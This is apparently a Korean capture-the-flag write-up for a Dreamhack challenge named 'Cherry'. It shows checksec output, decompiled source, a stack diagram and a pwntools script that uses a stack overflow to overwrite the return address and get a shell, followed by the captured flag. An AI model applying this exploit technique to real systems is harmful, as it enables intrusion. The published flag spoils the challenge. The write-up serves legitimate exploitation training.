Description
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
iotfragile@iotfragile:~/CTF/Cherry$ checksec --file ./chall
[*] '/home/iotfragile/CTF/Cherry/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
chall (Decompiled-src)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[6]; // [rsp+18h] [rbp-18h] BYREF
int v5; // [rsp+1Eh] [rbp-12h] BYREF
__int16 v6; // [rsp+22h] [rbp-Eh]
int v7; // [rsp+24h] [rbp-Ch]
int fd; // [rsp+28h] [rbp-8h]
int v9; // [rsp+2Ch] [rbp-4h]
v9 = 0;
fd = 1;
v5 = 0x72656863;
v6 = 0x7972;
v7 = 0x10;
initialize(argc, argv, envp);
write(1, "Menu: ", 6uLL);
read(0, buf, 0x10uLL);
if ( !strncmp(buf, "cherry", 6uLL) )
{
write(fd, "Is it cherry?: ", 0xFuLL);
read(v9, &v5, v7);
}
return 0;
}
Stack
=========================
RET
=========================
RBP
=========================
stdin (=0) [4bytes] <- rbp – 0x4
=========================
stdout (=1) [4bytes] <- rbp – 0x8
=========================
buf_size (=v7) [4bytes] <- rbp-0xc
=========================
v6 [2bytes] <- rbp – 0xe
=========================
fruit(=v5) [4bytes] <- rbp-0x12
=========================
buf[6] [6bytes] <- rbp-0x18
=========================
Solution
- buf를 read로 입력받는데 지정된 6바이트 크기보다 더 큰 “16”바이트를 입력받을 수 있다. (버퍼 오버플로우 발생)
따라서 buf_size인 v7까지 덮어쓸 수 있기 때문에 두번쨰 실행될 read 함수에서도 크기에 상관없이 입력받을 수 있다. - RET까지 침범시켜 RET 주소를 flag 주소인 0x4012BC로 덮어씌워서 쉘을 획득하면 된다.
from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 23200)
p.recvuntil("Menu: ")
payload = b"cherry" + b"A"*10
p.send(payload)
p.recvuntil("Is it cherry?: ")
payload = b"A"*(0x12+8) + p64(0x4012BC)
p.send(payload)
p.interactive()
Result
PS C:\Users\Seo Hyun-gyu\Downloads\678c0f29-2cf8-41d8-8d66-a2c17d4c3f9a (1)> python3 solve.py
[x] Opening connection to host3.dreamhack.games on port 23200
[x] Opening connection to host3.dreamhack.games on port 23200: Trying 23.81.42.210
[+] Opening connection to host3.dreamhack.games on port 23200: Done
[*] Switching to interactive mode
ls
chall
flag
cat flag
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
FLAG
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
